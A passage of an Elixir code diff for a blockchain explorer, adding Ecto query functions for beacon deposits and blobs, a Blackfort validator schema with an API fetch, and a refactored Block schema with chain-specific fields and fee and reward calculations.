applicable. + """ + @spec from_transaction_hash(Hash.Full.t(), [Chain.paging_options() | Chain.necessity_by_association() | Chain.api?()]) :: + [ + t() + ] + def from_transaction_hash(transaction_hash, options \\ []) do + beacon_deposits_list_query(:transaction_hash, transaction_hash, options) + end + + @doc """ + Fetches beacon deposits from a specific address (`from_address`) with pagination and + association preloading. + + Retrieves all beacon deposits that were sent from the specified address, + sorted by index in descending order (newest first). For each deposit, + extracts the withdrawal address from the withdrawal credentials if they have + prefix 0x01 or 0x02, making it available as a virtual field for association + preloading. + + ## Parameters + - `from_address`: The address hash to fetch deposits from. + - `options`: A keyword list of options: + - `:paging_options` - Pagination configuration (defaults to + `Chain.default_paging_options()`). + - `:necessity_by_association` - A map specifying which associations to + preload and whether they are `:required` or `:optional`. + - `:api?` - Boolean flag for API context. + + ## Returns + - A list of beacon deposits from the specified address with requested + associations preloaded and withdrawal addresses extracted where applicable. + """ + @spec from_address_hash(Hash.Address.t(), [Chain.paging_options() | Chain.necessity_by_association() | Chain.api?()]) :: + [t()] + def from_address_hash(address_hash, options \\ []) do + beacon_deposits_list_query(:from_address_hash, address_hash, options) + end + + defp beacon_deposits_list_query(entity, hash, options) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + {required_necessity_by_association, optional_necessity_by_association} = + options |> Keyword.get(:necessity_by_association, %{}) |> Enum.split_with(fn {_, v} -> v == :required end) + + __MODULE__ + |> then(fn q -> + case entity do + :block_hash -> where(q, [deposit], deposit.block_hash == ^hash) + :from_address_hash -> where(q, [deposit], deposit.from_address_hash == ^hash) + :transaction_hash -> where(q, [deposit], deposit.transaction_hash == ^hash) + :all -> q + end + end) + |> SortingHelper.apply_sorting(@sorting, []) + |> SortingHelper.page_with_sorting(paging_options, @sorting, []) + |> Chain.join_associations(Map.new(required_necessity_by_association)) + |> Chain.select_repo(options).all() + |> Enum.map(&put_withdrawal_address_hash/1) + |> Chain.select_repo(options).preload(optional_necessity_by_association |> Enum.map(&elem(&1, 0))) + end + + @doc """ + Retrieves the most recent beacon deposit by index. + + Fetches the beacon deposit with the highest index value, which represents + the most recently indexed deposit in the system. + + ## Parameters + - `options`: A keyword list of options: + - `:api?` - Boolean flag for API context, determines which repository to + use for the query. + + ## Returns + - The beacon deposit with the highest index. + - `nil` if no deposits exist. + """ + @spec get_latest_deposit([Chain.api?()]) :: t() | nil + def get_latest_deposit(options \\ []) do + Chain.select_repo(options).one(from(deposit in __MODULE__, order_by: [desc: deposit.index], limit: 1)) + end + + @doc """ + Fetches beacon deposit event logs from the deposit contract. + + Retrieves deposit event logs from the specified deposit contract address, + starting after the given block number and log index position. This function + is used for paginated retrieval of deposit events, ensuring only logs from + consensus blocks are included. + + ## Parameters + - `deposit_contract_address_hash`: The address hash of the deposit contract. + - `log_block_number`: The block number to start searching after (for + pagination). + - `log_index`: The log index within the block to start searching after (for + pagination). + - `limit`: The maximum number of logs to retrieve. + + ## Returns + - A list of deposit event logs with the following fields: + - Log fields: `first_topic`, `second_topic`, `third_topic`, + `fourth_topic`, `data`, `index`, `block_number`, `block_hash`, + `transaction_hash`. + - Transaction fields: `from_address_hash`, `block_timestamp`. + """ + @spec get_logs_with_deposits( + Hash.Address.t(), + non_neg_integer(), + non_neg_integer(), + non_neg_integer() + ) :: [ + %{ + first_topic: Hash.Full.t(), + data: Data.t(), + index: non_neg_integer(), + block_number: non_neg_integer(), + block_hash: Hash.Full.t(), + transaction_hash: Hash.Full.t(), + from_address_hash: Hash.Address.t(), + block_timestamp: DateTime.t() + } + ] + def get_logs_with_deposits(deposit_contract_address_hash, log_block_number, log_index, limit) do + query = + from(log in Log, + join: transaction in assoc(log, :transaction), + where: transaction.block_consensus == true, + where: log.block_hash == transaction.block_hash, + where: log.address_hash == ^deposit_contract_address_hash, + where: log.first_topic == ^@deposit_event_signature, + where: {log.block_number, log.index} > {^log_block_number, ^log_index}, + limit: ^limit, + select: + map( + log, + ^~w(first_topic data index block_number block_hash transaction_hash)a + ), + order_by: [asc: log.block_number, asc: log.index], + select_merge: map(transaction, ^~w(from_address_hash block_timestamp)a) + ) + + Repo.all(query) + end + + defp put_withdrawal_address_hash(deposit) do + case deposit.withdrawal_credentials do + %Data{bytes: <>} + when prefix in [0x01, 0x02] -> + {:ok, withdrawal_address_hash} = Hash.Address.cast(withdrawal_address_hash_bytes) + Map.put(deposit, :withdrawal_address_hash, withdrawal_address_hash) + + _ -> + deposit + end + end +end diff --git a/apps/explorer/lib/explorer/chain/beacon/reader.ex b/apps/explorer/lib/explorer/chain/beacon/reader.ex new file mode 100644 index 000000000000..65fe20b977bc --- /dev/null +++ b/apps/explorer/lib/explorer/chain/beacon/reader.ex @@ -0,0 +1,216 @@ +defmodule Explorer.Chain.Beacon.Reader do + @moduledoc "Contains read functions for beacon chain related modules." + + import Ecto.Query, + only: [ + subquery: 1, + distinct: 3, + from: 2, + limit: 2, + order_by: 3, + where: 2, + where: 3, + join: 5, + select: 3, + select_merge: 3 + ] + + import Explorer.Chain, only: [select_repo: 1] + + alias Explorer.{Chain, Repo} + alias Explorer.Chain.{Block, DenormalizationHelper, Hash, Transaction} + alias Explorer.Chain.Beacon.{Blob, BlobTransaction} + + @doc """ + Finds `t:Explorer.Chain.Beacon.Blob.t/0` by its `hash`. + + Returns `{:ok, %Explorer.Chain.Beacon.Blob{}}` if found + + iex> %Explorer.Chain.Beacon.Blob{hash: hash} = insert(:blob) + iex> {:ok, %Explorer.Chain.Beacon.Blob{hash: found_hash}} = Explorer.Chain.Beacon.Reader.blob(hash, true) + iex> found_hash == hash + true + + Returns `{:error, :not_found}` if not found + + iex> {:ok, hash} = Explorer.Chain.string_to_full_hash( + ...> "0x9fc76417374aa880d4449a1f7f31ec597f00b1f6f3dd2d66f4c9c6c445836d8b" + ...> ) + iex> Explorer.Chain.Beacon.Reader.blob(hash, true) + {:error, :not_found} + + """ + @spec blob(Hash.Full.t(), boolean(), [Chain.api?()]) :: {:error, :not_found} | {:ok, Blob.t()} + def blob(hash, with_data, options \\ []) when is_list(options) do + query = + if with_data do + Blob + |> where(hash: ^hash) + else + Blob + |> where(hash: ^hash) + |> select_merge([_], %{blob_data: nil}) + end + + query + |> select_repo(options).one() + |> case do + nil -> {:error, :not_found} + blob -> {:ok, blob} + end + end + + @doc """ + Finds all `t:Explorer.Chain.Beacon.Blob.t/0`s for `t:Explorer.Chain.Transaction.t/0`. + + Returns a list of `%Explorer.Chain.Beacon.Blob{}` belonging to the given `transaction_hash`. + + iex> blob = insert(:blob) + iex> %Explorer.Chain.Beacon.BlobTransaction{hash: transaction_hash} = insert(:blob_transaction, blob_versioned_hashes: [blob.hash]) + iex> blobs = Explorer.Chain.Beacon.Reader.transaction_to_blobs(transaction_hash) + iex> blobs == [%{hash: blob.hash, blob_data: blob.blob_data, kzg_commitment: blob.kzg_commitment, kzg_proof: blob.kzg_proof}] + true + + """ + @spec transaction_to_blobs(Hash.Full.t(), [Chain.api?()]) :: [Blob.t()] + def transaction_to_blobs(transaction_hash, options \\ []) when is_list(options) do + query = + from( + transaction_blob in subquery( + from( + blob_transaction in BlobTransaction, + select: %{ + hash: fragment("unnest(blob_versioned_hashes)"), + idx: fragment("generate_series(1, array_length(blob_versioned_hashes, 1))") + }, + where: blob_transaction.hash == ^transaction_hash + ) + ), + left_join: blob in Blob, + on: blob.hash == transaction_blob.hash, + select: %{ + hash: type(transaction_blob.hash, Hash.Full), + blob_data: blob.blob_data, + kzg_commitment: blob.kzg_commitment, + kzg_proof: blob.kzg_proof + }, + order_by: transaction_blob.idx + ) + + query + |> select_repo(options).all() + end + + @doc """ + Finds associated transaction hashes for the given blob `hash` identifier. Returns at most 10 matches. + + Returns a list of `%{block_consensus: boolean(), transaction_hash: Hash.Full.t()}` maps for all found transactions. + + iex> %Explorer.Chain.Beacon.Blob{hash: blob_hash} = insert(:blob) + iex> %Explorer.Chain.Beacon.BlobTransaction{hash: transaction_hash} = insert(:blob_transaction, blob_versioned_hashes: [blob_hash]) + iex> blob_transactions = Explorer.Chain.Beacon.Reader.blob_hash_to_transactions(blob_hash) + iex> blob_transactions == [%{block_consensus: true, transaction_hash: transaction_hash}] + true + """ + @spec blob_hash_to_transactions(Hash.Full.t(), [Chain.api?()]) :: [ + %{ + block_consensus: boolean(), + transaction_hash: Hash.Full.t() + } + ] + def blob_hash_to_transactions(hash, options \\ []) when is_list(options) do + query = + BlobTransaction + |> where(type(^hash, Hash.Full) == fragment("any(blob_versioned_hashes)")) + |> join(:inner, [bt], transaction in Transaction, on: bt.hash == transaction.hash) + |> limit(10) + + query_with_denormalization = + if DenormalizationHelper.transactions_denormalization_finished?() do + query + |> order_by([bt, transaction], desc: transaction.block_consensus, desc: transaction.block_number) + |> select([bt, transaction], %{ + block_consensus: transaction.block_consensus, + transaction_hash: transaction.hash + }) + else + query + |> join(:inner, [bt, transaction], block in Block, on: block.hash == transaction.block_hash) + |> order_by([bt, transaction, block], desc: block.consensus, desc: transaction.block_number) + |> select([bt, transaction, block], %{ + block_consensus: block.consensus, + transaction_hash: transaction.hash + }) + end + + query_with_denormalization |> select_repo(options).all() + end + + @doc """ + Returns a stream of all unique block timestamps containing missing data blobs. + Filters blocks by `min_block` and `max_block` if provided. + """ + @spec stream_missed_blob_transactions_timestamps( + initial :: accumulator, + reducer :: (entry :: DateTime.t(), accumulator -> accumulator), + min_block :: integer() | nil, + max_block :: integer() | nil, + options :: [] + ) :: {:ok, accumulator} + when accumulator: term() + def stream_missed_blob_transactions_timestamps(initial, reducer, min_block, max_block, options \\ []) + when is_list(options) do + query = + from( + transaction_blob in subquery( + from( + blob_transaction in BlobTransaction, + select: %{ + transaction_hash: blob_transaction.hash, + blob_hash: fragment("unnest(blob_versioned_hashes)") + } + ) + ), + inner_join: transaction in Transaction, + on: transaction_blob.transaction_hash == transaction.hash, + # EIP-2718 blob transaction type + where: transaction.type == 3, + left_join: blob in Blob, + on: blob.hash == transaction_blob.blob_hash, + where: is_nil(blob.hash) + ) + + query_with_denormalization = + if DenormalizationHelper.transactions_denormalization_finished?() do + query + |> distinct([transaction_blob, transaction, blob], transaction.block_timestamp) + |> select([transaction_blob, transaction, blob], transaction.block_timestamp) + else + query + |> join(:inner, [transaction_blob, transaction, blob], block in Block, on: block.hash == transaction.block_hash) + |> distinct([transaction_blob, transaction, blob, block], block.timestamp) + |> select([transaction_blob, transaction, blob, block], block.timestamp) + end + + query_with_denormalization + |> add_min_block_filter(min_block) + |> add_max_block_filter(max_block) + |> Repo.stream_reduce(initial, reducer) + end + + defp add_min_block_filter(query, block_number) do + if is_integer(block_number) do + query |> where([_, transaction], transaction.block_number >= ^block_number) + else + query + end + end + + defp add_max_block_filter(query, block_number) do + if is_integer(block_number) and block_number > 0 do + query |> where([_, transaction], transaction.block_number <= ^block_number) + else + query + end + end +end diff --git a/apps/explorer/lib/explorer/chain/blackfort/validator.ex b/apps/explorer/lib/explorer/chain/blackfort/validator.ex new file mode 100644 index 000000000000..c82fa0c57f92 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/blackfort/validator.ex @@ -0,0 +1,206 @@ +defmodule Explorer.Chain.Blackfort.Validator do + @moduledoc """ + Blackfort validators + """ + + use Explorer.Schema + + alias Explorer.Chain.{Address, Import} + alias Explorer.Chain.Hash.Address, as: HashAddress + alias Explorer.{Chain, Helper, HttpClient, Repo, SortingHelper} + + require Logger + + @default_sorting [ + asc: :address_hash + ] + + @primary_key false + typed_schema "validators_blackfort" do + field(:address_hash, HashAddress, primary_key: true) + field(:name, :binary) + field(:commission, :integer) + field(:self_bonded_amount, :decimal) + field(:delegated_amount, :decimal) + field(:slashing_status_is_slashed, :boolean, default: false) + field(:slashing_status_by_block, :integer) + field(:slashing_status_multiplier, :integer) + + has_one(:address, Address, foreign_key: :hash, references: :address_hash) + timestamps() + end + + @required_attrs ~w(address_hash)a + @optional_attrs ~w(name commission self_bonded_amount delegated_amount)a + def changeset(%__MODULE__{} = validator, attrs) do + validator + |> cast(attrs, @required_attrs ++ @optional_attrs) + |> validate_required(@required_attrs) + |> unique_constraint(:address_hash) + end + + @doc """ + Get validators list. + Keyword could contain: + - paging_options + - necessity_by_association + - sorting (supported by `Explorer.SortingHelper` module) + - state (one of `@state_enum`) + """ + @spec get_paginated_validators(keyword()) :: [t()] + def get_paginated_validators(options \\ []) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + sorting = Keyword.get(options, :sorting, []) + + __MODULE__ + |> Chain.join_associations(necessity_by_association) + |> SortingHelper.apply_sorting(sorting, @default_sorting) + |> SortingHelper.page_with_sorting(paging_options, sorting, @default_sorting) + |> Chain.select_repo(options).all() + end + + @doc """ + Get all validators + """ + @spec get_all_validators(keyword()) :: [t()] + def get_all_validators(options \\ []) do + __MODULE__ + |> Chain.select_repo(options).all() + end + + @doc """ + Delete validators by address hashes + """ + @spec delete_validators_by_address_hashes([binary() | HashAddress.t()]) :: {non_neg_integer(), nil | []} | :ignore + def delete_validators_by_address_hashes(list) when is_list(list) and length(list) > 0 do + __MODULE__ + |> where([vs], vs.address_hash in ^list) + |> Repo.delete_all() + end + + def delete_validators_by_address_hashes(_), do: :ignore + + @doc """ + Insert validators + """ + @spec insert_validators([map()]) :: {non_neg_integer(), nil | []} + def insert_validators(validators) do + Repo.insert_all(__MODULE__, validators, + on_conflict: {:replace_all_except, [:inserted_at]}, + conflict_target: [:address_hash] + ) + end + + @doc """ + Append timestamps (:inserted_at, :updated_at) + """ + @spec append_timestamps(map()) :: map() + def append_timestamps(validator) do + Map.merge(validator, Import.timestamps()) + end + + @doc """ + Derive next page params from %Explorer.Chain.Blackfort.Validator{} + """ + @spec next_page_params(t()) :: map() + def next_page_params(%__MODULE__{address_hash: address_hash}) do + %{"address_hash" => address_hash} + end + + @doc """ + Returns dynamic query for validated blocks count. Needed for SortingHelper + """ + @spec dynamic_validated_blocks() :: Ecto.Query.dynamic_expr() + def dynamic_validated_blocks do + dynamic( + [vs], + fragment( + "SELECT count(*) FROM blocks WHERE miner_hash = ?", + vs.address_hash + ) + ) + end + + @doc """ + Returns total count of validators. + """ + @spec count_validators() :: integer() + def count_validators do + Repo.aggregate(__MODULE__, :count, :address_hash) + end + + @doc """ + Returns count of new validators (inserted withing last 24h). + """ + @spec count_new_validators() :: integer() + def count_new_validators do + __MODULE__ + |> where([vs], vs.inserted_at >= ago(1, "day")) + |> Repo.aggregate(:count, :address_hash) + end + + @doc """ + Fetch list of Blackfort validators + """ + @spec fetch_validators_list() :: {:ok, list()} | :error + def fetch_validators_list do + url = validator_url() + + with {:url, true} <- {:url, Helper.valid_url?(url)}, + {:ok, %{status_code: 200, body: body}} <- HttpClient.get(validator_url(), [], follow_redirect: true) do + body |> Jason.decode() |> parse_validators_info() + else + {:url, false} -> + :error + + error -> + Logger.error("Failed to fetch blackfort validator info: #{inspect(error)}") + :error + end + end + + defp parse_validators_info({:ok, validators}) do + {:ok, + validators + |> Enum.map(fn %{ + "address" => address_hash_string, + "name" => name, + "commission" => commission, + "self_bonded_amount" => self_bonded_amount, + "delegated_amount" => delegated_amount, + "slashing_status" => %{ + "is_slashed" => slashing_status_is_slashed, + "by_block" => slashing_status_by_block, + "multiplier" => slashing_status_multiplier + } + } -> + {:ok, address_hash} = HashAddress.cast(address_hash_string) + + %{ + address_hash: address_hash, + name: name, + commission: parse_number(commission), + self_bonded_amount: parse_number(self_bonded_amount), + delegated_amount: parse_number(delegated_amount), + slashing_status_is_slashed: slashing_status_is_slashed, + slashing_status_by_block: slashing_status_by_block, + slashing_status_multiplier: slashing_status_multiplier + } + end)} + end + + defp parse_validators_info({:error, error}) do + Logger.error("Failed to parse blackfort validator info: #{inspect(error)}") + :error + end + + defp validator_url do + Application.get_env(:explorer, __MODULE__)[:api_url] + end + + defp parse_number(string) do + {number, _} = Integer.parse(string) + number + end +end diff --git a/apps/explorer/lib/explorer/chain/block.ex b/apps/explorer/lib/explorer/chain/block.ex index dfd4512644de..06176d964a1b 100644 --- a/apps/explorer/lib/explorer/chain/block.ex +++ b/apps/explorer/lib/explorer/chain/block.ex @@ -1,3 +1,196 @@ +defmodule Explorer.Chain.Block.Schema do + @moduledoc """ + Models blocks. + + Changes in the schema should be reflected in the bulk import module: + - Explorer.Chain.Import.Runner.Blocks + """ + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + alias Explorer.Chain.{ + Address, + Block, + Hash, + InternalTransaction, + PendingBlockOperation, + Transaction, + Wei, + Withdrawal + } + + alias Explorer.Chain.Arbitrum.BatchBlock, as: ArbitrumBatchBlock + alias Explorer.Chain.Beacon.Deposit, as: BeaconDeposit + alias Explorer.Chain.Block.{Reward, SecondDegreeRelation} + alias Explorer.Chain.Celo.Epoch, as: CeloEpoch + alias Explorer.Chain.Optimism.TransactionBatch, as: OptimismTransactionBatch + alias Explorer.Chain.Zilliqa.AggregateQuorumCertificate, as: ZilliqaAggregateQuorumCertificate + alias Explorer.Chain.Zilliqa.QuorumCertificate, as: ZilliqaQuorumCertificate + alias Explorer.Chain.ZkSync.BatchBlock, as: ZkSyncBatchBlock + + @chain_type_fields (case @chain_type do + :ethereum -> + elem( + quote do + field(:blob_gas_used, :decimal) + field(:excess_blob_gas, :decimal) + has_many(:beacon_deposits, BeaconDeposit, foreign_key: :block_hash, references: :hash) + end, + 2 + ) + + :optimism -> + elem( + quote do + has_one(:op_transaction_batch, OptimismTransactionBatch, + foreign_key: :l2_block_number, + references: :number + ) + + has_one(:op_frame_sequence, through: [:op_transaction_batch, :frame_sequence]) + end, + 2 + ) + + :rsk -> + elem( + quote do + field(:bitcoin_merged_mining_header, :binary) + field(:bitcoin_merged_mining_coinbase_transaction, :binary) + field(:bitcoin_merged_mining_merkle_proof, :binary) + field(:hash_for_merged_mining, :binary) + field(:minimum_gas_price, :decimal) + end, + 2 + ) + + :zksync -> + elem( + quote do + has_one(:zksync_batch_block, ZkSyncBatchBlock, foreign_key: :hash, references: :hash) + has_one(:zksync_batch, through: [:zksync_batch_block, :batch]) + has_one(:zksync_commit_transaction, through: [:zksync_batch, :commit_transaction]) + has_one(:zksync_prove_transaction, through: [:zksync_batch, :prove_transaction]) + has_one(:zksync_execute_transaction, through: [:zksync_batch, :execute_transaction]) + end, + 2 + ) + + :celo -> + elem( + quote do + has_one(:celo_initiated_epoch, CeloEpoch, + foreign_key: :start_processing_block_hash, + references: :hash + ) + + has_one(:celo_terminated_epoch, CeloEpoch, + foreign_key: :end_processing_block_hash, + references: :hash + ) + end, + 2 + ) + + :arbitrum -> + elem( + quote do + field(:send_count, :integer) + field(:send_root, Hash.Full) + field(:l1_block_number, :integer) + + has_one(:arbitrum_batch_block, ArbitrumBatchBlock, + foreign_key: :block_number, + references: :number + ) + + has_one(:arbitrum_batch, through: [:arbitrum_batch_block, :batch]) + + has_one(:arbitrum_commitment_transaction, + through: [:arbitrum_batch, :commitment_transaction] + ) + + has_one(:arbitrum_confirmation_transaction, + through: [:arbitrum_batch_block, :confirmation_transaction] + ) + end, + 2 + ) + + :zilliqa -> + elem( + quote do + field(:zilliqa_view, :integer) + + has_one(:zilliqa_quorum_certificate, ZilliqaQuorumCertificate, + foreign_key: :block_hash, + references: :hash + ) + + has_one(:zilliqa_aggregate_quorum_certificate, ZilliqaAggregateQuorumCertificate, + foreign_key: :block_hash, + references: :hash + ) + end, + 2 + ) + + _ -> + [] + end) + + defmacro generate do + quote do + @primary_key false + typed_schema "blocks" do + field(:hash, Hash.Full, primary_key: true, null: false) + field(:consensus, :boolean, null: false) + field(:difficulty, :decimal) + field(:gas_limit, :decimal, null: false) + field(:gas_used, :decimal, null: false) + field(:nonce, Hash.Nonce, null: false) + field(:number, :integer, null: false) + field(:size, :integer) + field(:timestamp, :utc_datetime_usec, null: false) + field(:total_difficulty, :decimal) + field(:refetch_needed, :boolean) + field(:base_fee_per_gas, Wei) + field(:is_empty, :boolean) + field(:aggregated?, :boolean, virtual: true) + field(:transactions_count, :integer, virtual: true) + field(:blob_transactions_count, :integer, virtual: true) + field(:transactions_fees, :decimal, virtual: true) + field(:burnt_fees, :decimal, virtual: true) + field(:priority_fees, :decimal, virtual: true) + + timestamps() + + belongs_to(:miner, Address, foreign_key: :miner_hash, references: :hash, type: Hash.Address, null: false) + + has_many(:nephew_relations, SecondDegreeRelation, foreign_key: :uncle_hash, references: :hash) + has_many(:nephews, through: [:nephew_relations, :nephew], references: :hash) + + belongs_to(:parent, Block, foreign_key: :parent_hash, references: :hash, type: Hash.Full, null: false) + + has_many(:uncle_relations, SecondDegreeRelation, foreign_key: :nephew_hash, references: :hash) + has_many(:uncles, through: [:uncle_relations, :uncle], references: :hash) + + has_many(:transactions, Transaction, references: :hash) + has_many(:transaction_forks, Transaction.Fork, foreign_key: :uncle_hash, references: :hash) + + has_many(:internal_transactions, InternalTransaction, foreign_key: :block_hash, references: :hash) + + has_many(:rewards, Reward, foreign_key: :block_hash, references: :hash) + + has_many(:withdrawals, Withdrawal, foreign_key: :block_hash, references: :hash) + + has_one(:pending_operations, PendingBlockOperation, foreign_key: :block_hash, references: :hash) + + unquote_splicing(@chain_type_fields) + end + end + end +end + defmodule Explorer.Chain.Block do @moduledoc """ A package of data that contains zero or more transactions, the hash of the previous block ("parent"), and optionally @@ -5,13 +198,35 @@ defmodule Explorer.Chain.Block do structure that they form is called a "blockchain". """ + require Explorer.Chain.Block.Schema + use Explorer.Schema + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] - alias Explorer.Chain.{Address, Gas, Hash, PendingBlockOperation, Transaction, Wei} - alias Explorer.Chain.Block.{Reward, SecondDegreeRelation} + alias Explorer.Chain.{Block, Hash, Transaction, Wei} + alias Explorer.Chain.Block.{EmissionReward, Reward} + alias Explorer.{Helper, Repo} + alias Explorer.Utility.MissingRangesManipulator @optional_attrs ~w(size refetch_needed total_difficulty difficulty base_fee_per_gas)a + @chain_type_optional_attrs (case @chain_type do + :rsk -> + ~w(minimum_gas_price bitcoin_merged_mining_header bitcoin_merged_mining_coinbase_transaction bitcoin_merged_mining_merkle_proof hash_for_merged_mining)a + + :ethereum -> + ~w(blob_gas_used excess_blob_gas)a + + :arbitrum -> + ~w(send_count send_root l1_block_number)a + + :zilliqa -> + ~w(zilliqa_view)a + + _ -> + ~w()a + end) + @required_attrs ~w(consensus gas_limit gas_used hash miner_hash nonce number parent_hash timestamp)a @typedoc """ @@ -45,67 +260,29 @@ defmodule Explorer.Chain.Block do * `size` - The size of the block in bytes. * `timestamp` - When the block was collated * `total_difficulty` - the total `difficulty` of the chain until this block. + * `refetch_needed` - `true` if block has missing data and has to be refetched. * `transactions` - the `t:Explorer.Chain.Transaction.t/0` in this block. * `base_fee_per_gas` - Minimum fee required per unit of gas. Fee adjusts based on network congestion. + #{case @chain_type do + :rsk -> """ + * `bitcoin_merged_mining_header` - Bitcoin merged mining header on Rootstock chains. + * `bitcoin_merged_mining_coinbase_transaction` - Bitcoin merged mining coinbase transaction on Rootstock chains. + * `bitcoin_merged_mining_merkle_proof` - Bitcoin merged mining merkle proof on Rootstock chains. + * `hash_for_merged_mining` - Hash for merged mining on Rootstock chains. + * `minimum_gas_price` - Minimum block gas price on Rootstock chains. + """ + :ethereum -> """ + * `blob_gas_used` - The total amount of blob gas consumed by the transactions within the block. + * `excess_blob_gas` - The running total of blob gas consumed in excess of the target, prior to the block. + """ + _ -> "" + end} """ - @type t :: %__MODULE__{ - consensus: boolean(), - difficulty: difficulty(), - gas_limit: Gas.t(), - gas_used: Gas.t(), - hash: Hash.Full.t(), - miner: %Ecto.Association.NotLoaded{} | Address.t(), - miner_hash: Hash.Address.t(), - nonce: Hash.Nonce.t(), - number: block_number(), - parent_hash: Hash.t(), - size: non_neg_integer(), - timestamp: DateTime.t(), - total_difficulty: difficulty(), - transactions: %Ecto.Association.NotLoaded{} | [Transaction.t()], - refetch_needed: boolean(), - base_fee_per_gas: Wei.t(), - is_empty: boolean() - } - - @primary_key {:hash, Hash.Full, autogenerate: false} - schema "blocks" do - field(:consensus, :boolean) - field(:difficulty, :decimal) - field(:gas_limit, :decimal) - field(:gas_used, :decimal) - field(:nonce, Hash.Nonce) - field(:number, :integer) - field(:size, :integer) - field(:timestamp, :utc_datetime_usec) - field(:total_difficulty, :decimal) - field(:refetch_needed, :boolean) - field(:base_fee_per_gas, Wei) - field(:is_empty, :boolean) - - timestamps() - - belongs_to(:miner, Address, foreign_key: :miner_hash, references: :hash, type: Hash.Address) - - has_many(:nephew_relations, SecondDegreeRelation, foreign_key: :uncle_hash) - has_many(:nephews, through: [:nephew_relations, :nephew]) - - belongs_to(:parent, __MODULE__, foreign_key: :parent_hash, references: :hash, type: Hash.Full) - - has_many(:uncle_relations, SecondDegreeRelation, foreign_key: :nephew_hash) - has_many(:uncles, through: [:uncle_relations, :uncle]) - - has_many(:transactions, Transaction) - has_many(:transaction_forks, Transaction.Fork, foreign_key: :uncle_hash) - - has_many(:rewards, Reward, foreign_key: :block_hash) - - has_one(:pending_operations, PendingBlockOperation, foreign_key: :block_hash) - end + Explorer.Chain.Block.Schema.generate() def changeset(%__MODULE__{} = block, attrs) do block - |> cast(attrs, @required_attrs ++ @optional_attrs) + |> cast(attrs, @required_attrs ++ @optional_attrs ++ @chain_type_optional_attrs) |> validate_required(@required_attrs) |> foreign_key_constraint(:parent_hash) |> unique_constraint(:hash, name: :blocks_pkey) @@ -113,19 +290,13 @@ defmodule Explorer.Chain.Block do def number_only_changeset(%__MODULE__{} = block, attrs) do block - |> cast(attrs, @required_attrs ++ @optional_attrs) + |> cast(attrs, @required_attrs ++ @optional_attrs ++ @chain_type_optional_attrs) |> validate_required([:number]) |> foreign_key_constraint(:parent_hash) |> unique_constraint(:hash, name: :blocks_pkey) end def blocks_without_reward_query do - consensus_blocks_query = - from( - b in __MODULE__, - where: b.consensus == true - ) - validator_rewards = from( r in Reward, @@ -133,13 +304,27 @@ defmodule Explorer.Chain.Block do ) from( - b in subquery(consensus_blocks_query), + b in subquery(consensus_blocks_query()), left_join: r in subquery(validator_rewards), on: [block_hash: b.hash], where: is_nil(r.block_hash) ) end + @doc """ + Returns a query that filters blocks where consensus is true. + + ## Returns + - An `Ecto.Query.t()` that can be used to fetch consensus blocks. + """ + @spec consensus_blocks_query() :: Ecto.Query.t() + def consensus_blocks_query do + from( + block in __MODULE__, + where: block.consensus == true + ) + end + @doc """ Adds to the given block's query a `where` with conditions to filter by the type of block; `Uncle`, `Reorg`, or `Block`. @@ -147,10 +332,394 @@ defmodule Explorer.Chain.Block do def block_type_filter(query, "Block"), do: where(query, [block], block.consensus == true) def block_type_filter(query, "Reorg") do - query - |> join(:left, [block], uncles in assoc(block, :nephew_relations)) - |> where([block, uncles], block.consensus == false and is_nil(uncles.uncle_hash)) + from(block in query, + as: :block, + left_join: uncles in assoc(block, :nephew_relations), + where: + block.consensus == false and is_nil(uncles.uncle_hash) and + exists(from(b in Block, where: b.number == parent_as(:block).number and b.consensus)) + ) end def block_type_filter(query, "Uncle"), do: where(query, [block], block.consensus == false) + + @doc """ + Returns query that fetches up to `limit` of consensus blocks + that are missing rootstock data ordered by number desc. + """ + @spec blocks_without_rootstock_data_query(non_neg_integer()) :: Ecto.Query.t() + def blocks_without_rootstock_data_query(limit) do + from( + block in __MODULE__, + where: + is_nil(block.minimum_gas_price) or + is_nil(block.bitcoin_merged_mining_header) or + is_nil(block.bitcoin_merged_mining_coinbase_transaction) or + is_nil(block.bitcoin_merged_mining_merkle_proof) or + is_nil(block.hash_for_merged_mining), + where: block.consensus == true, + limit: ^limit, + order_by: [desc: block.number] + ) + end + + @doc """ + Calculates transaction fees (gas price * gas used) for the list of transactions (from a single block) + """ + @spec transaction_fees([Transaction.t()]) :: Decimal.t() + def transaction_fees(transactions) do + Enum.reduce(transactions, Decimal.new(0), fn %{gas_used: gas_used, gas_price: gas_price}, acc -> + if gas_price do + gas_used + |> Decimal.new() + |> Decimal.mult(Helper.number_to_decimal(gas_price)) + |> Decimal.add(acc) + else + acc + end + end) + end + + @doc """ + Finds blob transaction gas price for the list of transactions (from a single block) + """ + @spec transaction_blob_gas_price([Transaction.t()]) :: Decimal.t() | nil + def transaction_blob_gas_price(transactions) do + transactions + |> Enum.find_value(fn %{beacon_blob_transaction: beacon_blob_transaction} -> + if is_nil(beacon_blob_transaction) do + nil + else + Helper.number_to_decimal(beacon_blob_transaction.blob_gas_price) + end + end) + end + + @doc """ + Calculates burnt fees for the list of transactions (from a single block) + """ + @spec burnt_fees(list(), Decimal.t() | nil) :: Decimal.t() + def burnt_fees(transactions, base_fee_per_gas) do + if is_nil(base_fee_per_gas) do + Decimal.new(0) + else + transactions + |> Enum.reduce(Decimal.new(0), fn %{gas_used: gas_used}, acc -> + gas_used + |> Decimal.new() + |> Decimal.add(acc) + end) + |> Decimal.mult(Helper.number_to_decimal(base_fee_per_gas)) + end + end + + @uncle_reward_coef 32 + @spec block_reward_by_parts(Block.t(), [Transaction.t()]) :: %{ + block_number: block_number(), + block_hash: Hash.Full.t(), + miner_hash: Hash.Address.t(), + static_reward: any(), + transaction_fees: any(), + burnt_fees: Wei.t() | nil, + uncle_reward: Wei.t() + } + def block_reward_by_parts(block, transactions) do + %{hash: block_hash, number: block_number} = block + base_fee_per_gas = Map.get(block, :base_fee_per_gas) + + transaction_fees = transaction_fees(transactions) + + static_reward = + Repo.one( + from( + er in EmissionReward, + where: fragment("int8range(?, ?) <@ ?", ^block_number, ^(block_number + 1), er.block_range), + select: er.reward + ) + ) || %Wei{value: Decimal.new(0)} + + uncles_count = if is_list(block.uncles), do: Enum.count(block.uncles), else: 0 + + burnt_fees = burnt_fees(transactions, 